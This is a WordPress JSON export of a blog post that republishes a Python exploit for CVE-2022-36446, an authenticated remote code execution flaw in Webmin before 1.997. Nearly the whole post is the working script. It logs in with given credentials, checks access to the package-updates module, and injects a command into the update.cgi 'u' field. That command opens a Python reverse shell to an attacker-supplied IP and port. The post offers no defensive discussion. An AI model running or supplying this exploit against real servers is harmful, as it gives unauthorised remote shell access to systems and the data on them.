{"id":28843,"date":"2022-08-01T21:43:54","date_gmt":"2022-08-01T17:43:54","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167894\/webmin1996-exec.txt"},"modified":"2022-08-02T08:37:24","modified_gmt":"2022-08-02T04:07:24","slug":"webmin-1-996-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/webmin-1-996-remote-code-execution\/","title":{"rendered":"Webmin 1.996 Remote Code Execution"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: Webmin 1.996 &#8211; Remote Code Execution (RCE) (Authenticated)<br \/>\n# Date: 2022-07-25<br \/>\n# Exploit Author: Emir Polat<br \/>\n# Technical analysis: https:\/\/medium.com\/@emirpolat\/cve-2022-36446-webmin-1-997-7a9225af3165<br \/>\n# Vendor Homepage: https:\/\/www.webmin.com\/<br \/>\n# Software Link: https:\/\/www.webmin.com\/download.html<br \/>\n# Version: &lt; 1.997<br \/>\n# Tested On: Version 1.996 &#8211; Ubuntu 20.04.4 LTS (GNU\/Linux 5.4.0-122-generic x86_64)<br \/>\n# CVE: CVE-2022-36446<\/p>\n<p dir=\"ltr\">import argparse<br \/>\nimport requests<br \/>\nfrom bs4 import BeautifulSoup<\/p>\n<p dir=\"ltr\">def login(args):<br \/>\nglobal session<br \/>\nglobal sysUser<\/p>\n<p dir=\"ltr\">session = requests.Session()<br \/>\nloginUrl = f&#8221;{args.target}:10000\/session_login.cgi&#8221;<br \/>\ninfoUrl = f&#8221;{args.target}:10000\/sysinfo.cgi&#8221;<\/p>\n<p dir=\"ltr\">username = args.username<br \/>\npassword = args.password<br \/>\ndata = {&#8216;user&#8217;: username, &#8216;pass&#8217;: password}<\/p>\n<p dir=\"ltr\">login = session.post(loginUrl, verify=False, data=data, cookies={&#8216;testing&#8217;: &#8216;1&#8217;})<br \/>\nsysInfo = session.post(infoUrl, verify=False, cookies={&#8216;sid&#8217; : session.cookies[&#8216;sid&#8217;]})<\/p>\n<p dir=\"ltr\">bs = BeautifulSoup(sysInfo.text, &#8216;html.parser&#8217;)<br \/>\nsysUser = [item[&#8220;data-user&#8221;] for item in bs.find_all() if &#8220;data-user&#8221; in item.attrs]\n<p dir=\"ltr\">if sysUser:<br \/>\nreturn True<br \/>\nelse:<br \/>\nreturn False<\/p>\n<p dir=\"ltr\">def exploit(args):<br \/>\npayload = f&#8221;&#8221;&#8221;<br \/>\n1337;$(python -c &#8216;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&#8220;{args.listenip}&#8221;,{args.listenport}));<br \/>\nos.dup2(s.fileno(),0);<br \/>\nos.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(&#8220;sh&#8221;)&#8217;);<br \/>\n&#8220;&#8221;&#8221;<\/p>\n<p dir=\"ltr\">updateUrl = f&#8221;{args.target}:10000\/package-updates&#8221;<br \/>\nexploitUrl = f&#8221;{args.target}:10000\/package-updates\/update.cgi&#8221;<\/p>\n<p dir=\"ltr\">exploitData = {&#8216;mode&#8217; : &#8216;new&#8217;, &#8216;search&#8217; : &#8216;ssh&#8217;, &#8216;redir&#8217; : &#8221;, &#8216;redirdesc&#8217; : &#8221;, &#8216;u&#8217; : payload, &#8216;confirm&#8217; : &#8216;Install+Now&#8217;}<\/p>\n<p dir=\"ltr\">if login(args):<br \/>\nprint(&#8220;[+] Successfully Logged In !&#8221;)<br \/>\nprint(f&#8221;[+] Session Cookie =&gt; sid={session.cookies[&#8216;sid&#8217;]}&#8221;)<br \/>\nprint(f&#8221;[+] User Found =&gt; {sysUser[0]}&#8221;)<\/p>\n<p dir=\"ltr\">res = session.get(updateUrl)<br \/>\nbs = BeautifulSoup(res.text, &#8216;html.parser&#8217;)<\/p>\n<p dir=\"ltr\">updateAccess = [item[&#8220;data-module&#8221;] for item in bs.find_all() if &#8220;data-module&#8221; in item.attrs]\n<p dir=\"ltr\">if updateAccess[0] == &#8220;package-updates&#8221;:<br \/>\nprint(f&#8221;[+] User &#8216;{sysUser[0]}&#8217; has permission to access &lt;&lt;Software Package Updates&gt;&gt;&#8221;)<br \/>\nprint(f&#8221;[+] Exploit starting &#8230; &#8220;)<br \/>\nprint(f&#8221;[+] Shell will spawn to {args.listenip} via port {args.listenport}&#8221;)<\/p>\n<p dir=\"ltr\">session.headers.update({&#8216;Referer&#8217; : f'{args.target}:10000\/package-updates\/update.cgi?xnavigation=1&#8242;})<br \/>\nsession.post(exploitUrl, data=exploitData)<br \/>\nelse:<br \/>\nprint(f&#8221;[-] User &#8216;{sysUser[0]}&#8217; unfortunately hasn&#8217;t permission to access &lt;&lt;Software Package Updates&gt;&gt;&#8221;)<br \/>\nelse:<br \/>\nprint(&#8220;[-] Login Failed !&#8221;)<\/p>\n<p dir=\"ltr\">if __name__ == &#8216;__main__&#8217;:<br \/>\nparser = argparse.ArgumentParser(description=&#8221;Webmin &lt; 1.997 &#8211; Remote Code Execution (Authenticated)&#8221;)<br \/>\nparser.add_argument(&#8216;-t&#8217;, &#8216;&#8211;target&#8217;, help=&#8217;Target URL, Ex: https:\/\/webmin.localhost&#8217;, required=True)<br \/>\nparser.add_argument(&#8216;-u&#8217;, &#8216;&#8211;username&#8217;, help=&#8217;Username For Login&#8217;, required=True)<br \/>\nparser.add_argument(&#8216;-p&#8217;, &#8216;&#8211;password&#8217;, help=&#8217;Password For Login&#8217;, required=True)<br \/>\nparser.add_argument(&#8216;-l&#8217;, &#8216;&#8211;listenip&#8217;, help=&#8217;Listening address required to receive reverse shell&#8217;, required=True)<br \/>\nparser.add_argument(&#8216;-lp&#8217;,&#8217;&#8211;listenport&#8217;, help=&#8217;Listening port required to receive reverse shell&#8217;, required=True)<br \/>\nparser.add_argument(&#8220;-s&#8221;, &#8216;&#8211;ssl&#8217;, help=&#8221;Use if server support SSL.&#8221;, required=False)<br \/>\nargs = parser.parse_args()<br \/>\nexploit(args)<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Webmin 1.996 &#8211; Remote Code Execution (RCE) (Authenticated) # Date: 2022-07-25 # Exploit Author: Emir Polat # Technical analysis: https:\/\/medium.com\/@emirpolat\/cve-2022-36446-webmin-1-997-7a9225af3165 # Vendor Homepage: https:\/\/www.webmin.com\/ # Software Link: https:\/\/www.webmin.com\/download.html # Version: &lt; 1.997 # Tested On: Version 1.996 &#8211; Ubuntu 20.04.4 LTS (GNU\/Linux 5.4.0-122-generic x86_64) # CVE: CVE-2022-36446 import argparse import requests from &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-28843","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/28843","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=28843"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/28843\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=28843"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=28843"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=28843"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}